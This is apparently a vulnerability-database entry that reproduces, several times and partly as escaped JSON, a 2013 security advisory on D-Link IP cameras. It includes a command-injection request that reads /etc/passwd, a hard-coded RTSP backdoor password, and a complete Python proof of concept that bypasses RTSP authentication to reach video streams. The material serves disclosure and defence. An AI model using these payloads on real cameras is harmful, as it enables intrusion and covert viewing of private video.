\u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0842

Vulnerability from variot - Updated: 2023-12-18 12:17

An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Exploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. Advisory Information

Vulnerability Information

Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

[CVE-2013-1599] to execute arbitrary commands from the administration web interface,
[CVE-2013-1600] to access the video stream via HTTP,
[CVE-2013-1601] to access the ASCII video stream via image luminance,
[CVE-2013-1602] to access the video stream via RTSP,
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1602] . ALL mentioned devices and firmware.

Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

Technical Description / Proof of Concept Code

7.1. OS Command Injection

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

Authentication is only present in DESCRIBE requests but not in every subsequent request.
When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
password: ?* -----/

Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

About CoreLabs

About Core Security Technologies

Disclaimer

PGP/GPG Keys

Show details on source website

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    "data": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. \nExploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor 